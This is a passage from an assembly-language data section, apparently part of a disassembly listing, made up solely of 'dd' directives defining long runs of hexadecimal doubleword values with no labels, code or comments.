		dd 0AD6BDAC0h, 9FF724Eh, 7FFAE7B9h, 0BA126264h,	530010EFh
		dd 3EA8132Dh, 540200CAh, 707CD6BCh, 2C026BFBh, 0FFBF6636h
		dd 538277D5h, 0EE5511D9h, 0EA65Ch, 0D17887EAh, 8AF63173h
		dd 0FC5D302h, 5EA9779Bh, 8A58699Eh, 75CB224Bh, 0A082B64Fh
		dd 0E4A094A5h, 9A1E137Dh, 0F07AA689h, 26E1B352h, 9B2E8D2h
		dd 0E4AB398Dh, 8504F853h, 610030D5h, 6DDDBF52h,	5B126913h
		dd 4E5A3B29h, 88C184C3h, 0A44DBCF0h, 4E9E2299h,	72864C0h
		dd 0E6C558h, 6F71B2ACh,	92F366F0h, 0E1C46B4Bh, 0D6B893ADh
		dd 551DD809h, 0B572589Eh, 3E80E358h, 0E900A5E1h, 0AAAD4FDFh
		dd 1AECF6Ch, 92FEBAACh,	21CD8048h, 8FE47BA2h, 0F8965E5Fh
		dd 0FFBBC040h, 0E1F1EBDh, 0A175BF50h, 49964965h, 5BC4D5B1h
		dd 0B532C520h, 0FE6FEA85h, 0A700DC7Bh, 685DC780h, 0CA011C54h
		dd 0E03EBBC2h, 52345126h, 4FE77EABh, 799F03Dh, 5BDBBA97h
		dd 0F4D42563h, 8568004Bh, 0B535920Eh, 0D61C9246h, 3E4196FEh
		dd 0D7115128h, 0D8A0D0h, 4C705737h, 52AD5439h, 184268B4h
		dd 1E60FF66h, 0EC38BCEAh, 3BB5CF5Bh, 8295DB3Bh,	0E249077Fh
		dd 220B5A34h, 740012E8h, 0A24556E4h, 0D88EB7h, 6CBC6AA5h
		dd 5CD0AAD9h, 14DD70Bh,	4D84D285h, 618AB55Bh, 9910BD1h
		dd 6078B65Ch, 46BB0166h, 0F0C680BEh, 5282F61h, 4B549413h
		dd 0B9DC6012h, 0E94BA105h, 29805B0Fh, 0D79A79C8h, 70954425h
		dd 3509124Dh, 1830EFF5h, 0E7719529h, 78FE5F02h,	0FD1A09DCh
		dd 0CB793186h, 0FB4BCD47h, 1E6DD041h, 10E9CA11h, 0A9877A58h
		dd 0C8BA505Ah, 59054F4Bh, 2FAB4549h, 0C98DE92Ch, 4951F873h
		dd 2EF15092h, 61F521C2h, 0CF342F5Bh, 32004DF2h,	0A30EAEC1h
		dd 0CA00D25Bh, 75A6B58Eh, 9764CDE5h, 0DB7E149Ah, 0E6DFA53Ch
		dd 58F097C0h, 62A7EF9Fh, 0F67E56FFh, 0B6376140h, 5F0C29D9h
		dd 53F82D6Ah, 14F7054Ah, 4BBD7B7Ch, 0C86BDB23h,	668BC019h
		dd 823AD914h, 72E7DA4Fh, 65A6884Ah, 54F50C00h, 5C6842D9h
		dd 0C4C84B0Fh, 0C0CAE973h, 81103F16h, 0E6F80174h, 0FB7C8FB9h
		dd 0D27B3987h, 70A0AAB6h, 0B51009A2h, 57190AA1h, 2FF9B45Bh
		dd 94DB6C17h, 5E92F793h, 19A6C720h, 4C2C1809h, 5FD868B5h
		dd 2CE109D7h, 122FF5E9h, 0B556097Dh, 0CE25E2F4h, 0D4BB944Bh
		dd 2CFFFC12h, 0E64F42F2h, 60EFF0C4h, 0B58912F8h, 0D63CF8B9h
		dd 959221ADh, 0CD9B1683h, 0D3F42CE7h, 7DF44813h, 0F59D2723h
		dd 7F9641E1h, 0C6B38C47h, 0DCFE5C7Bh, 0D2FA7000h, 5009B593h
		dd 0B8354FF2h, 4060242Dh, 17432560h, 85F02DA4h,	60677652h
		dd 6A0969DCh, 6116E98Dh, 6FE555C6h, 0D6515A50h,	6B20864h
		dd 6181B002h, 4926E85Fh
		dd 0DDB58918h, 9A2B092Ch, 0C01A8815h, 0B4575B46h, 62C19E12h
		dd 1E8859F2h, 30E4FEB7h, 0E2811C16h, 0ED54017Ch, 8A25508Bh
		dd 0BDA5E8D8h, 0BD104A9Dh, 8C19BC55h, 7996EB02h, 77F7A6C7h
		dd 2F2C7F90h, 10ACEC05h, 70AC2D94h, 5FB28D09h, 0B5A74D7Bh
		dd 16CC02DDh, 0BD5BE96h, 0D69474F0h, 0D3001946h, 623B7FF8h
		dd 0CC05BF75h, 3123CDC2h, 0D712A082h, 0E5FCE83Ah, 1133C525h
		dd 9EF84E14h, 60058D4Bh, 0AB08AF34h, 9C6797Eh, 0BE7115B3h
		dd 50C053E9h, 9B00AF1Ah, 0E66D82D7h, 586CB744h,	0B14A75F5h
		dd 69DB2FDEh, 86A66480h, 0C80B62D4h, 299F303h, 552EE545h
		dd 0F59D07E6h, 5084D49Fh, 9EEC2CFh, 0F77312C0h,	11950189h
		dd 202E90A2h, 7BC9B425h, 3058EC00h, 0EDCB375Ch,	46A10586h
		dd 0EBAFB750h, 0ADC01DDBh, 39E9B783h, 2AFC8F0Bh, 0D0F57B36h
		dd 151A77A7h, 440F867h,	0F0A24197h, 0F18AA612h,	289DD809h
		dd 0AB379F86h, 41D8AA00h, 138507CBh, 0F88B9EE2h, 9D2B8295h
		dd 0F74B6AC5h, 0BB661FC8h, 8A6AF208h, 2509A4FCh, 0C9816544h
		dd 536A3EA5h, 0B1011823h, 8C085FEAh, 0BD69987Fh, 3A860955h
		dd 0DA0DCE7h, 0F1E4D6CCh, 33A55306h, 25EAA66Ch,	58790781h
		dd 93C9356Bh, 0CC5545F6h, 0ADE00BB2h, 2F73E629h, 0BA181659h
		dd 0B265B828h, 0AF21AD32h, 51EE5CD1h, 0BBC51452h, 1EA374ACh
		dd 0AADAC4A8h, 8F545300h, 0E8CFD6E1h, 3102056Ah, 0FE3265BDh
		dd 1ACF1DCh, 0FB799249h, 2E60C4E2h, 9790CFA4h, 0B90737E4h
		dd 0BAA6D074h, 0B4ABCC30h, 0DBDC1682h, 2CBC02AAh, 0AEE74F5h
		dd 0E9D9B70Bh, 71BE5C50h, 267625B0h, 41F0F011h,	0DC459CB3h
		dd 0E1035613h, 0FDB7D252h, 30ACC159h, 0C432F82Dh, 8E10003Dh
		dd 64512523h, 3F03D063h, 0FB8B7DEAh, 0AF754090h, 0D8343CBBh
		dd 84909BCFh, 9BAB2AB8h, 0C31788BBh, 0FDF953BAh, 0F1D74260h
		dd 0EFCEFCA4h, 0BBC111ADh, 0F22233C7h, 2B65145Eh, 330F6C2h
		dd 0A8F56AF5h, 982A20C4h, 12F29FBBh, 97EB8005h,	45C15660h
		dd 59021341h, 0E962EAD6h, 0DC8C0E2Ch, 0C9AB077h, 9107520h
		dd 71E470E6h, 0C6A890D9h, 9A377309h, 45BB724Bh,	0C93C89BCh
		dd 0EBB7109h, 0FAD2BAF9h, 0B78BFC28h, 0C1B30713h, 89F99839h
		dd 0FDA197BFh, 0E3815C20h, 0E976E87h, 0EDE7E0BAh, 370C7ABAh
		dd 166EC82Bh, 0D16E4529h, 0D1ABEB3Eh, 0A1B58627h, 854F231Ch
		dd 1F5E83ADh, 0F2B509Bh, 82E5C381h, 5C612F24h, 0AFE9BBDh
		dd 0E2644469h, 91B456FEh, 20E34A0Dh, 0A35E584Ch, 6ABC5E47h
		dd 22559DC2h, 15CF9D5Ch, 31657D52h, 1B0CA51Fh, 4ADD38FEh
		dd 5FA15001h, 0B10DE862h, 5AC2975Ch, 0C06FDFFEh, 1D60A54Fh
		dd 67C0F1FCh, 96ECB945h, 0B58BC40Ah, 5E85D791h,	1F12820Fh
		dd 38006CA2h, 6DB872BAh, 4200B154h, 0C5F064D0h,	250C480Eh
		dd 71815ACEh, 50919D31h, 0D7CBBFDBh, 0C627F825h, 0CF8002BEh
		dd 875B9DBh, 1C43DD5h, 0C1470880h, 2C52DDE9h, 67E08057h
		dd 0EACDA93Ah, 25FA773Fh, 0C9C25B34h, 4B700FFBh, 0E7502884h
		dd 2B492FD2h, 3358C6EEh, 0FCE444B5h, 0EB0B009Dh, 9DC02B2Fh
		dd 5C00FFB7h, 9B47220Ah, 0C750C00Fh, 0D22B3DBFh, 0EB9FD4EFh
		dd 0A5252B90h, 0ACF5CF0Ch, 1D465CA9h, 59D4D300h, 452D8A90h
		dd 993A3712h, 0C47EFAE1h, 4DDBAE6Eh, 36BD8D80h,	56004A30h
		dd 0DACDAB13h, 4A0DD98Ah, 0EC8CAD88h, 0A1330568h, 9C973E9h
		dd 23D041D0h, 3955799Ch, 0CF8251BEh, 521747D9h,	0FE6EF75Ch
		dd 325BF50Eh, 80B0DBE2h, 5E95F8CBh, 0B148325Fh,	2E611769h
		dd 8874D728h, 0DC5E8A56h, 0E75A7DB8h, 9C10B7C1h, 4C500863h
		dd 9925683Bh, 0E4498679h, 0A55500D1h, 564BA1C5h, 0E0003532h
		dd 0C7D0FB17h, 5FFF8F87h, 1766EE1h, 0DFCE2C63h,	29E4F3DAh
		dd 11C12585h, 8712D5Ch,	0FB9C0114h, 2E5BFC50h, 5F10C228h
		dd 8016DE04h, 7E6C4BE7h, 0DC14979Eh, 504DAD6Bh,	0C705F78Fh
		dd 0A77159E6h, 4459CDADh, 2EC28167h, 6C46ECDh, 77342E16h
		dd 0D3EAB2ABh, 567C318Dh, 0B179524Eh, 9D6E2FC7h, 0F206B23Fh
		dd 0E0BA7AA1h, 7D8FBF09h, 0F15161h, 0C112F6C9h,	5700428Eh
		dd 0D477E055h, 976ED1ADh, 150E523h, 0D19BBE84h,	0BBED7EC0h
		dd 1212D329h, 0D1FCBDCh, 2DAA3312h, 0A90F2D3Ch,	560B927Ah
		dd 2B5B3FE1h, 9A2AA8DDh, 704D80B4h, 0C65942h, 0ACD5487Dh
		dd 0BF90EAB7h, 9FECFC09h, 0FE098729h, 88F78190h, 1FBA1275h
		dd 89BAA6Ah, 0D1842A80h, 0BB011567h, 6F303E36h,	0D4E86C68h
		dd 0F203BD8Dh, 0E89545BFh, 722F3h, 0EDC2063Ah, 5A79DE17h
		dd 8DFD585Bh, 724A3209h, 155D0582h, 81B3075h, 560300BDh
		dd 0CFD3B4DAh, 944B328Fh, 0F92DC39Dh, 6B008EA8h, 0CDCCF251h
		dd 901E95E5h, 121D4BAEh, 0B2CBB66Dh, 76DF301Ah,	34048A75h
		dd 0A0E9C2DBh, 45A6B4AAh, 0B19D174Bh, 7429E2DBh, 14732D90h
		dd 6E181459h, 0E5BD891Fh, 0B11B7B25h, 41020168h, 2E263D73h
		dd 0D3818370h, 2564E0FFh, 27248912h, 4A818A1Fh,	9F52FA86h
		dd 60962F69h, 0CE881198h, 2A31007Fh, 0DEF90C29h, 5C1217EBh
		dd 3B04912Ch, 1580AAE3h, 485FC583h, 81071C96h, 81DC21E7h
		dd 38D5BD29h, 0C88C4AE9h, 944009BFh, 9D7461E6h,	0C839B750h
		dd 59871280h, 88D0927Fh, 3A31BF9Fh, 2780806Ah, 8BF6C07Ah
		dd 0B74F0DD5h, 0A345FCBCh, 0EF8885EBh, 40359460h, 14622C3h
		dd 0D08C8000h, 1419FBCEh, 82641EEAh, 738225ACh,	0ED5561D7h
		dd 1B0E16Dh, 0EF72E8CAh, 1DB4982Eh, 0CE25D12h, 9D3C9B93h
		dd 5D7D5CC9h, 6B40629Ah, 9D880D4Dh, 90194051h, 8090799Dh
		dd 6A76BF50h, 36FB0936h, 0C0D6F350h, 0FCBE15h, 0C50234Bh
		dd 1DF58D89h, 0C98852B4h, 95290228h, 0B4742EB5h, 3D0886E8h
		dd 0B3DE2504h, 71015909h, 1351E905h, 7D1B0E46h,	12C54F09h
		dd 8F7A2BCh, 75DFBF0Fh,	0A1F860E3h, 5CC2B195h, 8BD428Ch
		dd 95A6755h, 0BDB043Ch,	0A006FED2h, 80DE0A91h, 59AF9EC7h
		dd 7C65AB0Ah, 0D3DE78h,	43C6C7D9h, 1BB7816Eh, 9D7CB095h
		dd 9D2BE9C1h, 810F60B0h, 430FD012h, 0B8006AF2h,	4DC579B4h
		dd 0AA7FC813h, 5BC7B709h, 0A8E8D961h, 312D2534h, 5EDA4B56h
		dd 0B105DCE1h, 826CCF1Ah, 3799CEC1h, 20C9827Bh,	0E2A29605h
		dd 429AED00h, 0A208756Bh, 0B2211C00h, 0B350FED4h, 40965694h
		dd 30C9AEB4h, 2C50876Eh, 0CD955B7Bh, 601664E0h,	951E3249h
		dd 1664CDCDh, 0B3A6CB60h, 8495BCACh, 9CEB1762h,	1345E9A8h
		dd 1C707EF0h, 3135ADh, 9227070Dh, 26026557h, 0C1EC32B7h
		dd 49415C20h, 807B37DFh, 0A8126788h, 0C2823E7h,	7B2DE35Bh
		dd 50D26599h, 8A131347h, 7904D22Eh, 0D9AA091Dh,	0A86029BDh
		dd 140B0466h, 0EBBFA92Ch, 6A3FC48Dh, 0BBDD00A9h, 0E5E49939h
		dd 0F83B6006h, 895161BFh, 2EF5B57Fh, 0B4BB6570h, 0BE09680h
		dd 4454B886h, 0E2DA02F6h, 6ADE8BEDh, 1607DCBDh,	0E4E02029h
		dd 90E3D48Dh, 25E1257Eh, 0C7A36E6Eh, 0A656F8E5h, 30F4C37Eh
		dd 0FABA9660h, 5B49255h, 26744D82h, 0F9E981BFh,	0F5292B10h
		dd 21D6086Ah, 1AD95349h, 8CDBBD70h, 19EF870h, 4F8DBB3Dh
		dd 6F962B75h, 37F9188h,	3752CCC9h, 1EF024F1h, 0DACFE0F8h
		dd 575BA973h, 0A0002464h, 0DD2BF933h, 1563520h,	36D6A6F4h
		dd 2E96DE1Bh, 6E2D926Eh, 2312DED6h, 0DAD22BE2h,	0C70C8008h
		dd 4ED5E003h, 8285B994h, 751612BFh, 0F55099E5h,	0AC403EB2h
		dd 0E913434Ch, 9F2BAE12h
		dd 2E0F1280h, 1497D9BDh, 0BB4B4412h, 0CA49F709h, 8114715Ch
		dd 2C70DBFh, 13132E1Bh,	4AC09ADBh, 966EBE77h, 2B6CC61Ch
		dd 859D33C5h, 88081EE4h, 0B413F3B0h, 258450CAh,	23077BABh
		dd 0E9E70414h, 503FB8E3h, 739DC189h, 0D4642E22h, 28082670h
		dd 89018B0Fh, 6A1857FCh, 0E401E60Dh, 5A627E68h,	0B8FB3469h
		dd 4E29F84Dh, 0D722B95Fh, 21A03AA6h, 262E2ACCh,	0BA0140CEh
		dd 61F8A8C0h, 0CD7B50C9h, 0A6122A12h, 28E06CE6h, 1A48C02Eh
		dd 0C0D12248h, 34D3814Ah, 14693C94h, 801BB710h,	1B91EBF0h
		dd 0D050D8B3h, 9925C689h, 0E18E4D49h, 2BC4F07Dh, 71BDCE90h
		dd 6A129705h, 93417661h, 3DAC90C5h, 0DC3C9E74h,	0D6795704h
		dd 26856117h, 0C220AA89h, 931552A9h, 0A0223454h, 97DC8A08h
		dd 9D0B0918h, 2545DAB5h, 0EA66FAB7h, 6BF78100h,	0FF25BD67h
		dd 0DC6994D1h, 2682E600h, 82AB6D6h, 203AB091h, 899D0135h
		dd 46F85118h, 0B795407Ah, 145981B7h, 30990DAAh,	0D85B828Ch
		dd 5B17B1FCh, 4F05A390h, 9A007BB8h, 6222C785h, 0B3018AD6h
		dd 0C0A8E99h, 0E7BE790h, 0F6D2DFFAh, 5F10E247h,	0F9AEE000h
		dd 24BA5C18h, 0E25B5095h, 0C2BCB111h, 205CC0E9h, 4D21D071h
		dd 3F6F6Eh, 0D4CFF2D2h,	14936EA5h, 0BF379631h, 0DE3EF926h
		dd 7BC0D509h, 0AF2873F8h, 832D1135h, 8BBA3039h,	11858C52h
		dd 5F38E3BDh, 0DE263EDDh, 4E7BA523h, 32C6E70h, 0E891062Bh
		dd 0B2C40254h, 858C0093h, 7F4471D9h, 34519297h,	0AC81066Dh
		dd 0DBBBD23Bh, 73D589D7h, 0DF800F2Eh, 2CE3B2h, 0E35DBB57h
		dd 955F4D65h, 2A453FCFh, 300502C1h, 1512BC72h, 0A2F8AC18h
		dd 0FD522422h, 5AB038DEh, 0BFE25620h, 0BA8D001Ah, 670FC175h
		dd 0F1779633h, 41FBD609h, 6890D504h, 0E7008877h, 3B97D943h
		dd 500F111Ah, 4B5B768Ch, 0AA63945Fh, 18ADCE12h,	63A5DD88h
		dd 16FBF457h, 82D1AD9Bh, 0D6F78B60h, 6DDE498Dh,	54F86280h
		dd 7AAB5692h, 0ECFB05A6h, 8561E3D8h, 1D8CAEAAh,	12DB9C50h
		dd 316DE05Fh, 202D8D12h, 0C09F28B8h, 245FA0F8h,	0E3F5C82Bh
		dd 0D18B4FC8h, 8D10E69Ah, 0C84A1921h, 0BD10236Fh, 0D09F08F9h
		dd 926C6F33h, 39EC5FABh, 30A80421h, 0C6030525h,	11174368h
		dd 4F220B8Dh, 0A534097Ah, 0A2116917h, 26AE4A91h, 244B6976h
		dd 8B2E7298h, 59953637h, 1B09A5F5h, 0E6F9F5FEh,	0AB65BB80h
		dd 6519BD03h, 955913h, 97CF816Ch, 384BE8F7h, 2F627E98h
		dd 7FDB4908h, 0A088DB79h, 0C626025Dh, 0F38EF126h, 26F4E4BBh
		dd 9A0D75AEh, 0BCCEDC24h, 7CF3528Dh, 83CB90Bh, 0F49256h
		dd 0B26CDFD0h, 991B0731h, 9261A628h, 252AF409h,	946A700Ch
		dd 0D90CDCE2h, 72E5C521h, 254B9AB9h, 0F82108E1h, 7EFCB04Eh
		dd 753F926Eh, 111A155Ch, 0A7C05123h, 0B3255E13h, 513E5B17h
		dd 253E1816h, 4310F5D8h, 2C00FAE2h, 0D48B6717h,	9DA57D1h
		dd 1501B5FBh, 9D618D5Ch, 121E25D5h, 0A8FCCBB3h,	33CC5880h
		dd 700CA65h, 0CF4C7EAAh, 0B553F20Eh, 311D4182h,	0AAEA6F83h
		dd 3D5F61D1h, 1AAB80Ah,	0A3AD7E6Dh, 0DDECDE80h,	8D232EF5h
		dd 0CCAFAD0Fh, 3E25CB52h, 6471CD96h, 5E9651Ah, 0CC381D09h
		dd 11DDF102h, 28C7CE55h, 53F820Fh, 769AFEBFh, 3E2FAF27h
		dd 0C8ADB059h, 51738B92h, 0BAD7ECC1h, 126AF8B2h, 8897B2F1h
		dd 0F781807Bh, 1D491CFCh, 0E01EEFB5h, 26FFB6A5h, 0BD894904h
		dd 51001C99h, 5B9CDB80h, 0BF9D1897h, 17570431h,	0E9E1FF7Fh
		dd 12DBB830h, 3022EB0Bh, 7C03836Ah, 80C2EF39h, 63404F3Ch
		dd 5D64258Ch, 62560F7h,	0F2189EC7h, 12F4BB7Dh, 0E273EE74h
		dd 3FB849Dh, 8085DEBAh,	0FBBBE9Eh, 76BC250Bh, 96159FC5h
		dd 25A7E82Fh, 0E23133D1h, 0D9B920FBh, 51BD0497h, 2275E681h
		dd 0C495AA05h, 3F80CDE8h, 0EA890D1Ah, 9D270CB5h, 5822975Bh
		dd 3D5D0129h, 0B1F80037h, 0C806E0BEh, 40018D80h, 614AF920h
		dd 0E433D88Dh, 0D8CFD14Fh, 0A6E62A03h, 0DF73AC4Eh, 18195D08h
		dd 0BB50EE90h, 200B3B0Fh, 6AF82456h, 30F20DF6h,	0FA003E74h
		dd 7092D281h, 2C2AFB27h, 804A0FEAh, 0D8304789h,	967B4A87h
		dd 0BE3C10D8h, 10B770F6h, 2F1E13h, 1534356Eh, 35FEB06h
		dd 7A240DBEh, 5998F74Bh, 0AA01389Bh, 8D4A41C9h,	0E171D88Bh
		dd 25BD9020h, 28FE2BF5h, 0B921852h, 121259Dh, 0F0ED1ACEh
		dd 279D3041h, 0CD090265h, 0A02E0D9h, 0AD0427E8h, 0ACB37CD2h
		dd 4B000CA2h, 489C3A60h, 0F9008B7Ah, 7DCDF413h,	7A7612DDh
		dd 6F852767h, 10D80BDBh, 3C281683h, 4EC9027Bh, 0CED5BFCDh
		dd 931201Ah, 5CBDB32Dh,	558DC11Ch, 0B3CB2A17h, 0C7F89A5Bh
		dd 57550994h, 0F34BB517h, 40B95C5Bh, 39FC54C2h,	0A0A2A400h
		dd 473FA352h, 0E3800B6Eh, 405C5FECh, 4976CF84h,	92B264h
		dd 28F70DF0h, 34D4C0h, 98405E2Ah, 92A0E23Fh, 5C180A2Dh
		dd 0E296924Dh, 0CAEC0335h, 0A0E7C998h, 565C01h,	0B638D0Dh
		dd 8929A1F3h, 505BEE09h, 43D95460h, 42B09F4Ch, 0AB0E336Ah
		dd 40D68EADh, 0D880CDC9h, 8BE31317h, 9967EE40h,	9661DA90h
		dd 0D14F3ABFh, 0CED045ADh, 16677997h, 0F97BAB6Fh, 0C878680Eh
		dd 0D57A5B61h, 0E7442F66h, 1A12178Dh, 80D58A7Dh, 0CA79A45Fh
		dd 0F422C466h, 9354B8E4h, 0CDC0B0DBh, 0E83BFD01h, 0E153BB04h
		dd 21E85F71h, 66ADD380h, 0D12DF6D6h, 0A37DC81h,	0AC6539h
		dd 318968B9h, 5B976138h, 2AEC7886h, 6C88C616h, 4266B832h
		dd 0FB3557ACh, 0ED891491h, 0BDC1CB54h, 0C104334Dh, 2A5FFA1Fh
		dd 0C2F003E6h, 3E4B0B60h, 0CD40868Bh, 0CA744AE6h, 230C37DBh
		dd 900B8766h, 0FC1C44A1h, 0DDC25995h, 50D87325h, 4D7D5C06h
		dd 7A38CB0Bh, 0A04E4403h, 978A1A29h, 445A514h, 0EE40A800h
		dd 9AB32923h, 8DF066ACh, 3BFC1CAAh, 51546D6h, 8C0FACD8h
		dd 47EC4C9h, 16310141h,	97613ACCh, 0A7339019h, 507F09D6h
		dd 0F693BCB6h, 0A5ABEB04h, 0BBA4C5Bh, 165732C2h, 6E35BF19h
		dd 20D5230Eh, 689F9BB7h, 9D292760h, 50AD1CF6h, 681E41ADh
		dd 181110FAh, 61E2502Fh, 7EB7D5h, 81207C2h, 750EE4E9h
		dd 73559D09h, 0C2A7A3FCh, 657528A5h, 0DAB70A14h, 0BD31C0A9h
		dd 3A9711B9h, 0A50A795Fh, 0BB054D66h, 2E9CAB49h, 0CAF5DAAAh
		dd 34C1CC1Ah, 3C89B16Ch, 755294Ch, 33D1604Eh, 975395BDh
		dd 5EA2C558h, 0C105E94Ah, 615A5B59h, 1245162Eh,	0C3EC8C6Eh
		dd 0C29C4525h, 0C4B7D52Eh, 12DDF014h, 87AC108Dh, 7DE6BB5h
		dd 5CA552FAh, 1FA40CB5h, 0D365B502h, 0FED4A5AEh, 0BE0C0C18h
		dd 0C7FE8815h, 4CC41BF6h, 0CAAAD98Bh, 7DB9A08Ch, 0DFB50091h
		dd 0B2AA33BBh, 88BCF1B7h, 86716Bh, 3EBE470Fh, 49F2380h
		dd 5F0B2BC0h, 0DA44A456h, 6581BF00h, 64B54D75h,	2B561E93h
		dd 7641E5BDh, 0E244365Bh, 16C5301Ah, 18331D3Fh,	3592FDE1h
		dd 0B76EB52Ah, 807D599Fh, 6672709Dh, 940033EDh,	4B423A86h
		dd 62F9BAB9h, 61D6C0CCh, 49518F5Ch, 0C0D49E6Ah,	0FF763AD2h
		dd 120672E6h, 8D118CEFh, 173C28D9h, 0A407F5C7h,	579B5650h
		dd 29BA4198h, 4FD99F02h, 7E965F61h, 0F211126Fh,	699D8225h
		dd 0B3BAD505h, 14B3ECF7h, 1C1E68BBh, 0A04BE74Fh, 9A97C25h
		dd 8A02186Fh, 1E126076h, 0BC4E55E7h, 3BB2D2D8h,	724F6E8Bh
		dd 2885E264h, 0BF6D74AAh, 0FF3DAF6Ah, 0F88AFD84h, 61DEEEC6h
		dd 0C9009A89h, 2BEE6F0Fh, 9A34827h, 0E95E59CBh,	628079B5h
		dd 2DFF0374h, 31851029h
		dd 0B4BB000Ah, 0E9664B8Ch, 6D0B97A2h, 4DC707Ch,	9D233553h
		dd 928AB991h, 87E59ABAh, 0D620A0EEh, 2532D5AEh,	689047B2h
		dd 61002B0Dh, 80E62188h, 518D3Bh, 0D74FA99Ch, 573053C6h
		dd 0FC25EBF8h, 9C90CE5Bh, 5E09D496h, 7F8E0FEDh,	50DA2718h
		dd 53F9BB04h, 6AA84C63h, 80A8513Eh, 60909752h, 25006A44h
		dd 5EDB8F2h, 3804846Fh,	0B7FC5B49h, 1978D473h, 2026B852h
		dd 1131C6Dh, 0B853FDBDh, 0D5816EEDh, 2A4A9AF7h,	0FD807CDEh
		dd 0FEF42E14h, 51BF6609h, 1234E447h, 47DCC02h, 0AEEF86CDh
		dd 22E24CDh, 49A9D14Dh,	8218B777h, 0F7E65ED8h, 4402BF84h
		dd 0C4B85F56h, 83359B4Eh, 1785176Ah, 0D018F9AAh, 0C7509288h
		dd 60242D73h, 5E185C53h, 0E559610Ch, 557F053h, 6334A2Ah
		dd 0E842E037h, 4BB047BFh, 92E5F84h, 939BF75Bh, 46A34A4Bh
		dd 123F292Ch, 0D3FDAD11h, 352BEBF1h, 0BD23BBEFh, 0FD2AE00Ah
		dd 4B851D16h, 546AC1CAh, 2FF8CB84h, 99096513h, 0CD845FD1h
		dd 0FACEEA08h, 1517FB4Bh, 0B0E53FB6h, 0F90F1371h, 6E360E4Bh
		dd 9D29C39Eh, 6A732651h, 0D8B70BDCh, 0D979F929h, 69B08900h
		dd 2E018B62h, 1303DC13h, 0BB15CC60h, 9D071F04h,	53AE612Ah
		dd 496FEAEEh, 0C55C7E02h, 84F7FE8Ah, 0B14105Dh,	0E724E512h
		dd 4E204FE9h, 3A3BEF2h,	0CAC8B30Bh, 0AC8EF6Ch, 5B177A78h
		dd 90F2A72Bh, 35801838h, 567D1CBEh, 1A7FDB6Ch, 1AE3305Ah
		dd 2A9D09Fh, 20C886BBh,	0E9C95C54h, 0B081F735h,	0ED21F1AAh
		dd 0B691303Eh, 380061FBh, 74E65D80h, 1589DE67h,	0A9EFF485h
		dd 0CBC1349h, 9BE62A09h, 0DA310B9Ch, 0BCB7953Bh, 92811511h
		dd 1012E82Fh, 17BF8B30h, 0E80BF54Dh, 0E381F0EDh, 4E642666h
		dd 0DB6A25B3h, 0F6A27Eh, 7BF01AB8h, 10747925h, 3A58BB0Eh
		dd 6BAFD20Ch, 172300h, 0EB86F72Bh, 0B54B8D29h, 9EFF53A4h
		dd 5D5CDCCAh, 13CF581Ah, 7AEF23ADh, 7DAA1F26h, 8BD97B02h
		dd 0C63C5EDAh, 0B71C2BEEh, 562DB033h, 345E2FC3h, 0AD805549h
		dd 71E41161h, 249798B2h, 0FC49D015h, 49D1678h, 16BD11A7h
		dd 0BBE1B385h, 1659D44h, 0B7FAB012h, 0E5AC3D4Eh, 24AF2186h
		dd 2BC15554h, 27BCC84Eh, 0FFD192DFh, 1C892789h,	17FB0A09h
		dd 0C3815100h, 5FF32926h, 7B60B163h, 2580FBE4h,	3E02DF7h
		dd 0E921BD33h, 0DFEAB001h, 0A497540Ch, 0E1570B02h, 0E9458ABEh
		dd 0D5254055h, 0E857A625h, 4FD0D7C7h, 0CF511Eh,	8854BE3Dh
		dd 83E6A2BAh, 8B59A609h, 2CA9D2B5h, 9285F61h, 167B2511h
		dd 23042011h, 211221BDh, 0F151FE9h, 7670F9D0h, 8B759550h
		dd 8612FFDh, 1021268h, 40F99B8Dh, 0ACCF8027h, 89E71897h
		dd 4972BD8Dh, 7BAB912h,	0B7F160AEh, 8901632Bh, 0CA067250h
		dd 0B497957Ah, 0B11F8CFCh, 0C5655400h, 0EF22E261h, 5B6600C8h
		dd 7B2651B7h, 0C9288D43h, 2514FCC2h, 59B85F95h,	61C082CBh
		dd 0D9F282FCh, 3267D507h, 79DBE9h, 74C8ED8Dh, 0D527C551h
		dd 0F2D9E7h, 68ADB7Ch, 0D0002092h, 16BD2DB2h, 1E8F6245h
		dd 85A4892Fh, 0E96F99h,	2AD32119h, 7744A83h, 9ABAF00h
		dd 917488BEh, 6EF524EEh, 5F6D02D5h, 3755D22Bh, 9B5A037Ah
		dd 81BC27D0h, 2B084DC5h, 0E64B5A9Fh, 160BA19Ch,	647FE4C8h
		dd 0EE7C9477h, 18B5F220h, 3B521768h, 0B87CA9F9h, 1284007Dh
		dd 0D92D9677h, 1095C549h, 98C94EEh, 47AC1104h, 112AB557h
		dd 23BAC019h, 0B46F77B1h, 0C1BB6057h, 54A278Dh,	0E6D72DBDh
		dd 8790A0C5h, 5E07027Eh, 9F8E949Bh, 0F20EF9F1h,	336B015Fh
		dd 0BD2BEFDAh, 0D88F002Ah, 2F78D56Ch, 0BFC21618h, 5335FF3Ah
		dd 255E2EABh, 15DFC5FCh, 87F898A8h, 0DA0D2504h,	6BC2ACF9h
		dd 0BD5B50F1h, 1F76E251h, 80234A37h, 0C691BC85h, 0F497D0E5h
		dd 0B97C6970h, 21301C2h, 39B5E1FFh, 794DDA5h, 0FD850F25h
		dd 0C380A914h, 81802B95h, 0B89A09DBh, 0C7968EAh, 0FD042642h
		dd 9B978930h, 805DBF39h, 0C49C56EDh, 2D24A56Ah,	0B9F02A1Fh
		dd 0C27D26A2h, 839CD568h, 7C201745h, 0CA3A4B62h, 4AD03A06h
		dd 0ADE83BEDh, 3CB83B00h, 7DA6EDEBh, 92606268h,	70091D75h
		dd 5C10BD08h, 0C006C21h, 94AA25D2h, 0E6DCBFh, 0E59D9195h
		dd 8447D5A5h, 0E1809C13h, 1586FAAh, 6C98F7FDh, 5E2FDF95h
		dd 6F417828h, 8D09AEF6h, 37572561h, 9F1B91E2h, 3DC8AC00h
		dd 0A16D49B1h, 0B03995CBh, 0A040358h, 0A8526050h, 0F158CB2Fh
		dd 82FEADC2h, 0CFBF5569h, 0B52BD101h, 8174F1B1h, 0D96CA217h
		dd 0F6F8007Bh, 0ECA5A2F3h, 0E57FE209h, 0AF999860h, 0DAFA38A8h
		dd 60C45C2Ch, 0BB3F27CAh, 2AD75307h, 805B219Fh,	716D6826h
		dd 33234873h, 0B024F812h, 723D9287h, 16DDCA6Ch,	71A07376h
		dd 0B809D9FAh, 798BEB80h, 78D0A52Ch, 1F4E912h, 4AA5BFE4h
		dd 127E728h, 0F9AEE781h, 5F0A34EAh, 0A8A076B6h,	1C5C7CA2h
